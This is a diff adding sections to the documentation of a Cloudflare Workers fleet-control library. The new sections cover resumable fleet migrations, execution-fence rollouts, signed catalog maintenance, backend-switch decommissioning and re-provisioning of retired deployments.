 The function persists every completed phase and validates the immutable tenant, environment, logical script, database, and route mapping on retry. Database creation advances from `database-reserved` to an explicit create-authorized ownership phase before the provider mutation, so a same-name discovery cannot be silently adopted after a crash or race. `D1FleetStateStore` serializes each deployment lifecycle with a renewable database-time lease and fences state writes with its owner token. It commits the exact Worker, dispatch-script, and R2 claims with the fleet row in one D1 batch. The final statement fails the whole batch if the lease expired after an earlier claim statement. A lost batch response converges only after raw serialized row values, the complete owned claim set, desired-key occupants, and the live lease all match. Specification digests make a retry use the exact intended modules, bindings, limits, and migrations. A changed ready specification must go through `migrateFleet()`.
 
-Provisioning resumes from its last durable phase without repeating a committed step. Before `ready`, it compares the exact live tenant, environment, D1 binding, schema, specification digest, Durable Object bindings, plain-text variables, and secret names. Plain Worker, dispatch Worker, backend-switch, and control-plane inspection must consume every raw provider binding entry. An unknown type, malformed entry, duplicate name, binding absent from the structured inspection, or missing complete inventory fails closed even when the desired application groups are empty. Ordinary Worker secret names come from the authoritative secret-list API; if version resources also report them, the two inventories must agree. A failed first create revokes credentials and removes resources created by that attempt. If an upload may have succeeded, cleanup treats the Worker as present until deletion is positively confirmed; D1 is never deleted while a Worker or route may remain. Cleanup errors remain attached to `ProvisioningError.cleanupErrors`, and the durable phase remains available to retry or to `cleanupDeploymentArtifacts()`.
+Provisioning resumes from its last durable phase without repeating a committed step. Before `ready`, it compares the exact live tenant, environment, D1 binding, schema, specification digest, Durable Object bindings, plain-text variables, and secret names. Plain Worker, dispatch Worker, backend-switch, and control-plane inspection must consume every raw provider binding entry. An unknown type, malformed entry, duplicate name, binding absent from the structured inspection, or missing complete inventory fails closed even when the desired application groups are empty. Ordinary Worker secret names come from the authoritative secret-list API; if version resources also report them, the two inventories must agree. A failed first create rolls back through the bounded cleanup engine when the deployment provably never authorized a candidate invocation: rollback persists a durable `provisioning-rollback` cleanup intent, revokes credentials, removes the resources this attempt created, and completes with an immutable terminal receipt in place of a bare row delete. A rollback the engine refuses — a Workers for Platforms or external-artifact candidate, an already authorized invocation, or a stack without the bounded capabilities that keeps the in-memory rollback — preserves the row at its phase. If an upload may have succeeded, cleanup treats the Worker as present until deletion is positively confirmed; D1 is never deleted while a Worker or route may remain. Cleanup errors remain attached to `ProvisioningError.cleanupErrors`, and the durable state remains available to retry or to `cleanupDeploymentArtifacts()`; see "Clean up failed provisioning with durable receipts".
+
+`provisionDeployment()` reads a retired terminal record as an absent prior. A stored `decommissioned` row qualifies when it carries the record a completed decommission leaves — its `applicationResources` entries `deleted`, its export location, digest, and byte count recorded, and no pending lifecycle field — and no unfinished decommission or cleanup operation. A row that carries a backend-switch record qualifies only at subphase `decommissioned`, the subphase whose teardown committed that same export and released the application resources the switch tracked; a switch that settled at `finalized` or `rolled-back` leaves its record in place, and such a row does not qualify. The slug and the specification-derived names — logical script, database, and route hostname — come from the supplied `DeploymentSpec`, equal to the retired row's when that specification retains them. The database and its provider-minted ID, the seeded deployment identity, and the application R2 resources are new. The artifact version is read from the provider for this deployment rather than carried over, which does not promise a value different from the retired row's. The replacement's export location, digest, and byte count are absent rather than newly minted. The terminal row is replaced under the deployment lease. A changed specification is accepted, because the immutable-mapping and digest guards read a prior and this record is not one; `previousDurableObjectTag` is refused as it is for any other new deployment. The deployment mode is the one thing a changed specification cannot alter: a retired row that persisted `wfpMode: "platform-catalog"` refuses a specification reserving another mode, before the first durable write, with a message naming both modes and directing to `forceDecommissionDeployment()`. A terminal row that retains an application resource, whose teardown evidence is incomplete — a force-produced row records no database export — or that carries a backend-switch record in any other subphase refuses instead, names that reason, and directs to `forceDecommissionDeployment()` once the residual physical resources are confirmed removed; an unfinished decommission or cleanup operation refuses through the guard that owns it, as it does from any other lifecycle entry. A host that wants to keep the database and the seeded identity migrates with `migrateFleet()` instead of decommissioning. An audit sweep whose record snapshot predates the re-provision reads the old terminal row beside the new Worker and can report orphan findings until its next tick.
 
 `initialExecutionFenceState` is required and accepts `open` or `migration-locked`. It is a provisioning decision, not part of `DeploymentSpec`, so it does not alter the specification digest. `provisionDeployment()` is asynchronous from entry: invalid initial state and other validation failures reject its promise instead of throwing before a promise exists. The final ready record uses the artifact version from post-promotion route attestation rather than the candidate inspection.
 
@@ -74,7 +194,17 @@ Application KV bindings are unsupported. Cloudflare caps an account at [1,000 KV
 
 ### Stage ordinary Worker versions
 
-`WranglerLoopBackend` uploads a digest-tagged Worker Version with the exact built-in and declared application secret set in a mode-0600 file. For an existing deployment, it attaches the candidate at zero percent, sends the maintenance request with `Cloudflare-Workers-Version-Overrides`, and accepts the response only when `deploymentSpecDigest` matches the requested build. It then promotes that version to 100 percent, verifies the live custom-domain owner against `PromotionGuard`, attaches the domain through the explicit Cloudflare API seam, and re-inspects the mapping. A failed maintenance check never publishes the route.
+Both ordinary-Worker backends upload a digest-tagged Worker Version with the exact built-in and declared application secret set. `WranglerLoopBackend` passes those secrets through a mode-0600 file. For an existing deployment, either backend attaches the candidate at zero percent, sends the maintenance request with `Cloudflare-Workers-Version-Overrides`, and accepts the response only when `deploymentSpecDigest` matches the requested build. It then promotes that version to 100 percent, verifies the live custom-domain owner against `PromotionGuard`, attaches the domain, and re-inspects the mapping. A failed maintenance check never publishes the route.
+
+The direct API backend must create an initial script before Cloudflare accepts its workers.dev configuration. For either ordinary-Worker backend, tagged-version rediscovery accepts a failed upload only after the Worker footprint attests the intended workers.dev and preview-URL state. Worker uploads, D1 and R2 creation, and deployment changes retry transient provider failures up to three total backend attempts, with 2-second and 4-second delays, after readback proves the intended effect is absent.
+
+Both built-in ordinary-Worker backends run the same conformance suite. It verifies fleet records, backend results, provider-visible Worker versions and bindings, deployment percentages, secret names, domains, databases, Durable Object namespaces, export bytes and integrity, initial-deploy public access, and mutation ordering where order affects safety. It deliberately excludes transport requests and commands, fence-call counts, pagination mechanics, export locations, provider diagnostics, and adapter scratch-cleanup outcomes. On staged uploads, the direct API adapter also converges workers.dev and preview-URL settings, while `wrangler versions upload` does not; the shared suite therefore does not assert staged public-access state.
+
+When that workers.dev write keeps failing, the refusal's compensating traffic removal also fails and leaves the Worker in the account for operator cleanup; the provisioning error reports `resourceState: 'unknown'`.
+
+The credentialed lane exercises the configured CPU limit at runtime through its `cpu-control` and `cpu-over-limit` probes.
+
+Cloudflare error `10220` can refuse a deployment when a secret changed after its version upload. This provider limitation applies to both ordinary-Worker backends. Upload a new candidate carrying the current secret set before deploying it.
 
 An initial Worker that introduces Durable Object classes uses a route-free `wrangler deploy`, validates maintenance through its distinct control origin, and publishes the customer domain afterward. An existing plain Worker cannot stage a new Durable Object lifecycle migration through Workers Versions; perform that change at an explicit immediate-deployment maintenance boundary. No generated configuration contains a cron trigger.
 
@@ -84,6 +214,10 @@ Every generated plain Worker uses a platform-owned guarded entry module. The gua
 
 Every other hostname returns HTTP 404. This includes `workers.dev` unless `maintenanceBaseUrl` names that exact host. Preview URLs remain disabled.
 
+A host Worker that runs an ordinary-Worker backend and fetches tenant maintenance origins on the same account's workers.dev subdomain must enable `global_fetch_strictly_public`. Otherwise, Cloudflare answers these same-subdomain Worker-to-Worker requests with error 1042, an HTTP 404 `text/plain` page. The direct conformance CLI requires this compatibility flag on its reference Worker.
+
+After a deployment change, the maintenance route can answer a version-override request from the previous version for a few seconds (1–5 seconds in conductor measurements). When a valid maintenance health attests a different specification digest, the plain-Worker backend re-sends the request at `maintenanceRouteReadyIntervalMs` within `maintenanceRouteReadyTimeoutMs` before failing. This also bounds stale health answers during inspection without an override; platform 404 retries and digest retries share one deadline per maintenance request.
+
 The guard re-exports local Durable Object classes and invokes the original default object’s `fetch` method with its original receiver. The main module must be importable string JavaScript whose evaluated default export is an object with a callable `fetch`; module evaluation fails closed otherwise. A versioned binding prevents a same-spec version created before this guard existed from satisfying candidate convergence.
 
 ## Promote and roll back external releases
@@ -100,11 +234,25 @@ The state-egress credential digest is immutable for an existing trusted state re
 
 External candidates cannot own Durable Object classes or migrations, and an external specification cannot choose a state script, dispatch namespace, outbound target, or physical R2 bucket name. The trusted control plane resolves every requested Durable Object binding to the deployment's stable state script and every R2 descriptor to the fleet-owned deployment resource. The state script owns FlowSafe runs, approvals, alarms, and Durable Object code while candidates remain independently replaceable. The state script receives the named `OUTBOUND_PROXY` service binding, its context-bound credential, the audit queue, and the maintenance secret. The candidate receives none of them. If audit export is enabled, its `AUDIT_PROXY` binding is a remote Durable Object binding to `FlowsafeFleetAuditProxy` in the exact state script. Fresh state scripts include the dispatch namespace in that binding; adopted ordinary bridge scripts omit it. Fleet state persists the exact state binding inventory and an append-only snapshot of every authoritative namespace ID. Drift and teardown use that snapshot rather than recomputing names. Every D1 migration introduced while a rollback release is retained must be explicitly marked rollback-compatible and use expand-only schema changes. Apply contract changes only after the rollback window closes.
 
-Supply a backend-owned `platformProfileFor(spec)` provider when the Workers for Platforms backend can receive external artifacts. The provider returns the trusted state artifact, platform state migration history, organization egress allowlist, and optional legacy bridge template. Fleet control validates and hashes that profile before upload. A profile or policy change requires `migrateFleet()`, even when the customer candidate bytes are unchanged. Customer modules are never reused in fresh trusted state. The stable state name derives from immutable deployment identity, not candidate contents, so release promotion and rollback do not replace platform state.
+Supply a trusted `platformProfileFor(spec)` provider for Workers for Platforms maintenance. Platform-authored specifications accept a `MaintenanceSigningProfile` containing the canonical `maintenanceCapabilityPublicKey` and matching `maintenanceCapabilityPrivateKey`. External specifications require the complete `ExternalPlatformProfile`, including the trusted state artifact, state migration history, organization egress allowlist, and optional legacy bridge template. Fleet control validates and hashes that profile before upload. A profile or policy change requires `migrateFleet()`, even when the customer candidate bytes are unchanged. Customer modules are never reused in fresh trusted state. The stable state name derives from immutable deployment identity, not candidate contents, so release promotion and rollback do not replace platform state.
+
+### Configure signed catalog maintenance
+
+Use the same maintenance public verifier in the global dispatcher and catalog signing profile. The host owns global-plane configuration and attestation through `provisionPlatformPlane`; the backend does not derive dispatcher ownership from the maintenance URL. Keep the private signer in the trusted host.
+
+`WorkersForPlatformsBackend.deployWorker` enrolls catalog uploads with the public verifier, `FLEET_MAINTENANCE_CAPABILITIES=required`, `FLEET_RESOURCE_ROLE=platform-catalog`, and their physical script identity. The local Maintenance object retains its distinct `MAINTENANCE_ADMIN_SECRET` for receipt signing. Use a catalog built with the FlowSafe runtime supporting this mode. That runtime binds verified maintenance capabilities to its local script and release digest before reading health or consuming an ensure nonce. External stable-state maintenance continues to serve its retained candidate releases.
+
+Catalog records persist `wfpMode: "platform-catalog"` from their first reservation. Custom Fleet stores must retain that field. The D1 store upgrades its schema additively; unmarked WFP records retain external-state ownership rules. Changing or dropping an established catalog mode is refused, on a live row and on a retired terminal one alike: `provisionDeployment()` refuses a retired record whose persisted mode is not the one the supplied specification reserves.
+
+Importing an unmarked legacy catalog requires its original platform-authored specification. Under the existing deployment lease, verify its exact stored specification digest, immutable resource mapping and provider artifact ownership. Resolve active lifecycle operations and conflicting external resource authority before changing the mode. Check that any derived external-state reservation has no physical resource before releasing that claim. Write the marker through the store’s normal claim transaction; missing original authority cannot be replaced by the absence of state fields.
+
+For runtime enrollment, rebuild the catalog with the corrected FlowSafe runtime. Under its deployment lease, call `backend.deployWorker` with the owned D1 reference, recorded application topology and original secrets. Set the target specification’s `previousDurableObjectTag` to the recorded tag. Retain the returned artifact without fabricating a ready Fleet record, then use `migrateFleet()` to reconcile the uploaded target. A terminal failed bounded migration operation remains terminal; start a separately authorized operation after resolving its failure.
+
+Inspection requires enrollment and returns signed health for the provider-observed release. During unpinned target discovery, that can be the previous catalog digest. An explicit artifact expectation and maintenance ensure require the requested specification. Deployment refuses an enrolled catalog verifier change; coordinate verifier migration separately.
 
 ### Attest the active route
 
-Active-route attestation proves which provider artifact receives traffic and which fleet specification digest that artifact carries. It starts from provider routing state, not the desired candidate returned by `inspect()`. Every package-owned promotion path attests after promotion: initial provision, every `migrateFleet()` branch, and `rollbackExternalRelease()` all fail closed when the route is absent, ambiguous, or mismatched. The two-version staging window is refused if observed, but the package's own promote paths never observe it because each attestation runs after promotion converges.
+Active-route attestation proves which provider artifact receives traffic and which fleet specification digest that artifact carries. It starts from provider routing state, not the desired candidate returned by `inspect()`. Initial provisioning, the migration plan's promote-and-settle steps — reached by `migrateFleet()` and by `advanceFleetMigration()` — and `rollbackExternalRelease()` attest after promotion, reaching `attestConvergedActiveRoute()` through `settlePromotedRoute` on the migration and rollback paths, and fail closed when the route is absent, ambiguous, or mismatched. The two-version staging window is refused wherever an attestation observes it, and a package-owned promote path can observe it: `PlainWorkerBackend.promoteWorker` returns without waiting for the deployment's traffic split to converge, and attestation reads routing state afterwards. `attestConvergedActiveRoute()` retries an unconverged read inside its budget and refuses the release when the budget expires without a matching observation.
 
 An ordinary Worker attestation performs two provider reads per attempt: read the deployment traffic split, require exactly one version at 100 percent, then read that version's specification-digest binding. A deployment containing two versions is refused even when one has 100 percent and the other has 0 percent; Fleet control never selects a version by highest share. `physicalScriptName` equals `spec.scriptName` by construction because promotion already proves custom-domain ownership for that script.
 
@@ -139,6 +287,105 @@ The 0.4 public surface has these breaking requirements:
 
 Fleet control 0.4 depends on exactly one matching Flowsafe 0.20 runtime copy. Upgrade a direct Flowsafe 0.19 dependency at the same time to avoid a second nominal runtime copy.
 
+## Upgrade a fleet in resumable steps
+
+Use `advanceFleetMigration()` when a driver must release execution between migration steps. It uses the same deployment mutation engine as `migrateFleet()`, with a separate durable operation record and frozen per-item plan. This is the ongoing upgrade path for durable deployments, not an import mechanism for a previous provisioner's state. The root package remains a trusted control-plane entry; this API alone does not make the root entry Worker-compatible.
+
+Construct `D1FleetOperationStore(database, { accountId })` over the Fleet database port, or supply a conforming `FleetOperationStore`. Keep the existing `FleetStateStore`, backend, specification and secret resolvers. The bounded options name the deployment store `fleetStore`; the one-call drain still names it `store`. Both paths accept the existing finalized-state, settlement, route-attestation and clock options.
+
+Persist a caller-minted lowercase UUIDv4 operation ID and the original start input before dispatch. In this example, `migrationOptions` contains the trusted stores and resolvers, and `records` is the caller's fleet snapshot:
+
+```typescript
+import { advanceFleetMigration } from '@proofoftech/fleet-control';
+
+const result = await advanceFleetMigration({
+  ...migrationOptions,
+  action: {
+    kind: 'start',
+    operationId,
+    records,
+    canaryTenantTags: ['canary'],
+  },
+});
+```
+
+A start snapshots its input before awaiting, preserves the drain's canary ordering, and stages only item keys, rank, provenance digest and pending status. Repeated canary tags use their last position; equal canary ranks remain stable. Start invokes no deployment resolver or provider. If staging stops at revision zero, replay the same start with its original input; a continue cannot reconstruct that input from a token.
+
+For a pending result, durably enqueue its token. The next delivery makes one call using the same trusted options:
+
+```typescript
+const result = await advanceFleetMigration({
+  ...migrationOptions,
+  action: { kind: 'continue', token },
+});
+```
+
+The first item call reads current Fleet state under its deployment lease and records the target specification digest, frozen plan and cursor zero without mutating the deployment. Later calls re-read Fleet state, re-resolve trusted inputs, validate the frozen target and plan, then execute one step. One step can include several provider requests; this API has no provider-request budget option. After the last item finishes, another call finalizes the operation. A complete result returns counts and finalization time, not a replacement fleet snapshot.
+
+Stale tokens return current durable authority without provider work. Future, unknown-operation and wrong-kind tokens fail closed. A replayed start must have the same intake digest: a progressed operation returns current authority rather than replacing its items. Treat tokens as continuation claims, never as authorization to select an account, backend, specification or credential.
+
+Two optional call-local options ride on every call: `signal` cancels cooperatively, and `onComplete` is delivered at least once for a finalized operation, so the host deduplicates on `operationId`. `AdvanceFleetMigrationOptions` declares both contracts in full.
+
+The limits apply together:
+
+- At most 10,000 records and 16 MiB summed across canonical record bytes
+- At most 96 KiB per input record; plain JSON within depth 64, 8,192 nodes, and 4 KiB per string or object key
+- Deployment identifier grammar for every record's tenant and environment
+- At most 64 frozen plan entries per item
+- Item page limits from 1 through 1,000; a larger `limit` is served at the ceiling — see [Audit an account under a request budget](#audit-an-account-under-a-request-budget). Explicit prune limits from 1 through 1,000, refused outside that range
+
+The canary envelope is separately checked by the same plain-data and byte codec, then included in the intake digest. Its bytes do not count toward the record sum.
+
+An admission or step error invokes one failure commit for the item and operation. After that commit succeeds, the original error is rethrown to the trusted caller; later ordinals do not run. Durable failure data contains only the reason and optional item ordinal, never the original exception or secrets. `target-drift` means the frozen-digest check refused after the shared preamble succeeded; an earlier mapping or migration-intent refusal remains `item-failed`. Retrying a failed token returns the failed result. Remediate the cause and start a new operation only where strict admission accepts the persisted deployment state. Operation-store corruption or a failed progress/failure commit propagates rather than masquerading as a successful transition.
+
+Use `readFleetMigrationItemsPage(operationStore, { operationId, afterOrdinal, limit })` while running or after termination. Pages contain ordered item metadata; pass the last item's ordinal as the next exclusive cursor and stop at `done`. `abandonFleetMigrationOperation({ operationStore, operationId })` fails a running operation and its available active item as `operator-abandoned`, releases its active-operation slot, and does nothing to a terminal operation. Abandonment does not undo provider or Fleet mutations. `D1FleetOperationStore` retains terminal operations until explicit `pruneFleetOperations` and protects the latest finalized operation per kind. Custom stores choose their own terminal retention policy and must preserve active heads. Pruning never substitutes for abandoning a running operation.
+
+### Recovery and cost boundaries
+
+Each call holds the account's migration-kind lease. Admission and step execution also hold the active deployment's lease. It releases the deployment lease before committing operation progress. Fleet and provider state remain mutation authority; the plan and cursor sequence work. A lost progress response can therefore repeat a step against its already-committed deployment state. Admission avoids a repeated migrating write, ledgered D1 work verifies or reuses applied migrations, ordinary candidate upload can adopt by inspection, and external candidate upload repeats the same artifact. A repeated pending-topology step can write only a new timestamp; terminal convergence does not skip the remaining retirement step. Settlement delivery retains its existing at-least-once contract.
+
+Operation progress uses wall-clock `updatedAt`, independently of the optional deployment clock. Recomposition conflicts when whole-record bytes differ; coincident timestamps can produce equal bytes and reach row comparison. A batch's own lost response or identical-object replay retains its intended bytes. Every new continue derives its transition from persisted authority rather than replaying an old update object.
+
+The bounded path reruns the admission preamble and applicable carrier assertions for each step, where the drain runs admission once per item. It also reads every item to choose work and again to render a pending result, except when no active item remains. Without retries or failures, N items and K successful admission/step transitions require 2K full item reads, each paging at 1,000 rows: O(KN) item payload processing, or O(N²P) for comparable plan lengths P. A stale or adopted-running pending result adds one full read. The D1 progress guards also count the complete item prefix. This is a per-step provider-work bound, not a constant CPU, latency or database-row-read guarantee; size the fleet for the execution host and measure its actual runtime.
+
+Per-call leases permit another lifecycle driver to act between steps. The frozen-target and plan fences reject incompatible phases, intent changes, backward progress and invalid carriers, but do not globally lock independent provider credentials. A READY plan can leave and re-enter the same ready discriminator between calls; later steps still converge or refuse against current state. Terminal projection checks deliberately share the drain's narrower comparison rather than revalidate every spread-through resource/history field. The [bounded migration threat boundary](security-threat-model.md#bounded-fleet-migration) describes those accepted classes and operation-store retry obligations.
+
+Durable Object tag movement has an additional recovery limit. Continuations accept the recorded target tag or the consistent external finalized-state tag/resource pair. Fresh admission remains strict about the previous tag, just like the drain. A new operation over an external record whose tag already moved can therefore refuse on both the completed and interrupted paths. An operation that is still running after a lost progress response can resume with its continuation. A durably failed operation cannot: neither its failed token nor a new operation ID repairs the post-tag-move admission dead-end. This API provides no reset or repair operation for that state; abandonment does not supply one.
+
+## Roll out an artifact under the execution fence
+
+Coordinate the FlowSafe execution fence with a bounded migration of one deployment. Configure the artifact’s trusted caller epoch through `createFlowsafeWorker({ mutationEpoch })` and propagate that exact epoch to allowed mutations; never take it from a client header. Check the [trusted caller epoch requirements](deployment-reference.md#configure-the-trusted-caller-epoch) before activation, including the remaining generation-aware retention requirement.
+
+Use the deployment’s route hostname for the [execution-fence and inventory routes](deployment-reference.md#control-plane-routes), authenticated with its maintenance admin secret. The plain Worker’s control origin does not expose those routes. Persist transition inputs and observations alongside the migration operation so a lost response can be reconciled against authoritative state.
+
+Follow this order:
+
+1. Read `GET /admin/execution-fence`. Persist its epoch and revision, then POST `{ expected: 'open', next: 'draining', expectedMutationEpoch, expectedRevision, advanceMutationEpoch: true }` to the same path. This compare-and-swap atomically advances the epoch and activates `requireMutationEpoch`. Configure the target artifact for the returned epoch.
+2. Read the category index from `GET /admin/inventory` and sweep the categories it declares through `?category=`. Prove the drain with every `work` category empty on two sweeps taken from `draining`, at least 60 seconds apart. An empty observation has no entries and no continuation cursor; do not infer emptiness from an absent `count`. Standing categories need not be empty, and persisted idle signals remain across the migration. The [execution-fence design](do-runner-design.md#execution-fence-and-start-reservations) defines the drain and proof boundaries.
+3. Start `advanceFleetMigration()` with that deployment’s record and the trusted target specification. Persist the original start input and operation ID; persist each pending token before scheduling its continuation. Keep the fence `draining` while advancing the bounded migration.
+4. Require active-route attestation of the promoted artifact and settlement while the deployment lease is held. Retain the migration’s keyed, at-least-once delivery contract for attestation and settlement callbacks. Complete these checks before reopening; a candidate upload or promotion response alone does not establish completion.
+5. Read the fence again and persist its counters. POST `{ expected: 'draining', next: 'open', expectedMutationEpoch, expectedRevision }` without `advanceMutationEpoch`. Verify that the returned epoch matches the activated epoch and `requireMutationEpoch` remains `true`. Reopening changes the state without disabling enforcement.
+
+Schedule mutations encounter these refusal layers in order:
+
+| Layer | Applies to | Refusal |
+| --- | --- | --- |
+| Route state gate | `create`, `update`, `resume` | `503 EXECUTION_FENCED` while `draining` |
+| Storage epoch gate | Mutations including `pause` and `delete` | `409 MUTATION_EPOCH_MISMATCH`, classified `missing`, `stale`, or `future` once the requirement is armed |
+| Storage state gate | `create`, `update`, `resume` | `503 EXECUTION_FENCED` when the fence does not admit authoring |
+
+A delete with the current epoch is admitted while `draining`. After reopen, a pre-cutover artifact’s epoch is stale; a missing epoch or one ahead of the fence is also refused. For `missing`, configure the trusted writer epoch. For `stale`, replace the older artifact with the intended current artifact. For `future`, reconcile the artifact configuration with the authoritative fence and rollout record before proceeding; do not advance the fence to accommodate an unexplained caller value.
+
+Recover response loss at the boundary that produced it:
+
+| Boundary or failure | Recovery |
+| --- | --- |
+| Fence transition response lost, or `409 FENCE_CAS_CONFLICT` | Re-read and reconcile the state, epoch, requirement and revision against the persisted command. An exact retry can reuse the last upgraded command’s receipt; an intervening command invalidates it. Never blindly repeat an advance with fresh counters. The same expected counters cannot double-advance. |
+| Migration response lost | Continue from the stored token. If start stopped before staging completed, replay the original start input; a token cannot reconstruct it. |
+| Active-route attestation or settlement response lost | Retry with the same operation keys under the existing at-least-once contract. Reconcile the persisted migration state before reopening. |
+| `503 EXECUTION_FENCE_UNREADABLE` | Restore authoritative fence readability before allowing mutation or reopening. |
+| `503 SCHEDULE_MUTATION_OUTCOME_UNKNOWN` | Reconcile the schedule’s persisted outcome before retrying. A write may have occurred; this is not a clean fence refusal. |
+
 ## Switch a plain deployment to Workers for Platforms
 
 Use `switchPlainDeploymentToWorkersForPlatforms()` only for an existing platform-authored deployment that must accept external releases without moving D1 data or Durable Object namespaces. The switch stores its intent in the canonical fleet row and holds the same `FleetStateLease` used by provision, migration, rollback, and decommission. Those lifecycle operations reject an active switch.
@@ -157,7 +404,17 @@ Rollback attaches and verifies the custom domain on the bridge before deleting t
 
 A finalized ordinary state bridge remains under the dedicated backend-switch provider for later provisioning, migration, and release rollback. Fleet control stores a separate finalized-state upload authorization before each possible ordinary Worker mutation, inspects the exact persisted bridge before upload, and adopts an exact committed result after a lost provider or fleet-state response. Candidate-only module changes use the trusted state artifact projection and do not upload the bridge. Trusted state migrations merge the platform profile into the persisted combined plain-and-platform history by exact tag, append only unseen class additions, use the persisted live tag as `old_tag`, and retain every recorded namespace ID. The normal Workers for Platforms backend remains dispatch-only and cannot create an ordinary per-deployment state Worker.
 
-`decommissionBackendSwitch()` handles an operator-requested teardown from every switch subphase and after later migration or rollback. Before removing traffic, it persists the current desired digest, the canonical set of host targets allowed by the durable lifecycle phase, ordinary bridge identity, effective bridge plan, application R2 resources, and the exact union of active, pending, migration-prior, rollback, retiring, and original switch releases. Migration permits the prior route until the candidate is armed, both prior and target routes at the publication ambiguity boundary, and only the target after publication. Publishing permits its intended pending release. Rollback and teardown preserve both active and pending routes until the final ready state commits. Each route target is bound to its snapshotted physical release and platform target. Fleet control accepts only a byte-exact member of that set when removing `HOSTS`. Each release carries its own application and physical binding topology. Fleet control records delete authorization and positive absence for each release before it deletes the bridge and verifies namespace removal. For each application R2 bucket it persists detach authorization, detached confirmation, empty authorization, empty confirmation, delete authorization, and positive absence. A retry resumes from the individual release or bucket record before D1 export and deletion. The same fleet lease fences every phase.
+Use root-only `advanceBackendSwitchDecommission()` when backend-switch teardown must fit one control-plane request. The first call starts or adopts one durable operation. Each later call supplies the returned token and advances at most one release, application R2 resource, attachment-scan chunk, lifecycle group, or D1 action group. The operation binds its prior and target specifications, current desired digest, captured entry subphase, pending ordinary Worker identity, Durable Object namespace IDs, routes, releases, bridge plan, and application resources into one immutable snapshot. Every switch-intent and decommission-shell write commits atomically under the same fleet lease.
+
+The switch advance uses the same at-least-once token rules as `advanceDecommissionDeployment()`. Stale tokens return current authority without provider work. A blocked result remains inert until exact `restart-blocked`. A matching discover and verify pass authorizes only its immediate same-lease action. The export receipt binds the D1 UUID, operation UUID, and immutable store authority, so retries after export or Fleet write loss reuse the committed artifact. D1 deletion persists its barrier before mutation, then confirms the immutable ID is absent.
+
+Pending ordinary Worker capture reads the exact version and the authoritative secret-name inventory. It preserves Durable Object script and dispatch selectors, service entrypoints, representable R2 jurisdiction, D1 alias agreement, and provider-assigned namespace IDs. Unknown or unrepresentable binding fields fail closed. After Fleet D1 commits the snapshot, retries use that durable authority and never recapture a changed live version.
+
+`decommissionBackendSwitch()` remains the asynchronous one-call compatibility drain. It uses the bounded engine for an active shell and for an early shell-less row with the complete capability set. A shell-less row at `decommission-export-authorized` or later stays on legacy recovery because an older writer may already have committed an operation-specific export or deletion. A wholly stripped plain pending-artifact snapshot also stays legacy unless its live carrier can reconstruct the exact authority. The bounded API refuses either ambiguous state instead of adopting it. Either path leaves the same terminal record: its application-resource states are the teardown's own R2 deletions, which is what a later provision of the slug reads the row against.
+
+Before removing traffic, backend-switch teardown persists the current desired digest, the canonical set of host targets allowed by the durable lifecycle phase, ordinary bridge identity, effective bridge plan, application R2 resources, and the exact union of active, pending, migration-prior, rollback, retiring, and original switch releases. Migration permits the prior route until the candidate is armed, both prior and target routes at the publication ambiguity boundary, and only the target after publication. Publishing permits its intended pending release. Rollback and teardown preserve both active and pending routes until the final ready state commits. Each route target is bound to its snapshotted physical release and platform target. Fleet control accepts only a byte-exact member of that set when removing `HOSTS`. Each release carries its own application and physical binding topology. Fleet control records delete authorization and positive absence for each release before it deletes the bridge and verifies namespace removal. For each application R2 bucket it persists detach authorization, detached confirmation, empty authorization, empty confirmation, delete authorization, and positive absence. A retry resumes from the individual release or bucket record before D1 export and deletion. The same fleet lease fences every phase.
+
+If you drive either bounded API from a Worker and the deployment can carry the supported application R2 maximum, use Workers Paid. The two all-bucket read groups can reserve up to 708 external subrequests. The root-only switch API can instead run from a Node control plane. Run `pnpm fleet-control:credentialed` before release because local tests cannot prove the live Workers for Platforms receiver, binding, and namespace behavior.
 
 ## Define versioned D1 migrations
 
@@ -184,15 +441,75 @@ Each target D1 database contains the authoritative `anchorage_fleet_migrations`
 
 `CloudflareProvisioningClient.collectFleetInventory()` independently enumerates ordinary Workers, their complete current deployment version sets, bindings, secret names, custom domains, and traditional Workers Routes. A ready ordinary Worker must have exactly one current version total and that version must receive 100 percent of traffic; even a zero-percent extra version is request-addressable through version overrides and therefore reports drift. Each committed immutable release stores its own exact application variable, application secret descriptor, R2, Durable Object, service, queue, and secret-name topology. Recurring inventory can therefore attest active, pending, rollback, and retiring releases without applying the current release's bindings to an older retained artifact. The client discovers every zone through the account-filtered Cloudflare API instead of accepting a caller-supplied zone list. Before route inspection or cleanup, it reads the active token policy and requires Zone Read, Workers Routes Read, and Workers Routes Write for all zones in the exact account. Missing token-policy visibility, partial zone scope, explicit denial, malformed zone ownership, or a discovery failure stops the operation. The token therefore also needs API Tokens Read. When Workers for Platforms is enabled, inventory collects the host-route and script registries, reads the authenticated paginated dispatch-script listing, validates stable fleet, tenant, and environment tags, inspects every registered dispatch script, and enumerates prefixed D1 databases, Durable Object namespaces, and fleet-owned R2 buckets. The namespace's independent `script_count` is a secondary cross-check against the paginated result, and `trusted_workers` must be exactly `false`. Fleet control repeats that exact namespace check immediately before every external script upload.
 
+A non-default jurisdiction the account cannot access on its first page (Cloudflare answers the listing with 403, error 10003) is recorded in `unavailableR2Jurisdictions` as unavailable and holds no fleet residue; any other listing failure fails the stage.
+
 External resource-group inventory checks the dispatch-native state script and each candidate as distinct roles under one immutable group identity. During a legacy switch rollback window, it also checks the adopted ordinary bridge. It verifies the shared D1 binding, local state namespaces, candidate remote Durable Object targets, application variables, exact secret names, application R2 bindings, exact named service and queue topology, trusted artifact and policy digests, static tenant and environment attribution, and the absence of public state routes. The backend-owned shared audit queue name is part of the persisted platform target and resource snapshot, so configuration drift cannot retarget an existing deployment. Route inventory records whether each entry came from the host registry, a custom domain, or a zone route. Fleet control reserves the owner-checked registry entry before upload so every script created through the supported client is enumerable by name. Plain-only collection makes no dispatch-namespace request.
 
-Pass that independently collected `FleetResourceInventory` to `auditFleetDrift()`; do not derive it from fleet records. The audit works in both directions and contains an individual inspection or watchdog error so one broken deployment does not hide the rest. It reports missing, duplicate, malformed, and orphan scripts, databases, routes, Durable Object namespaces, and R2 buckets. It also reports exact application-variable, secret-name, R2-binding, route, artifact, and schema drift. Lifecycle-aware expectations distinguish an unpublished candidate, a published deployment, a retained rollback release, and resources that should already be absent during decommissioning. Secret-value drift remains opaque because provider inventory cannot return or hash the stored value.
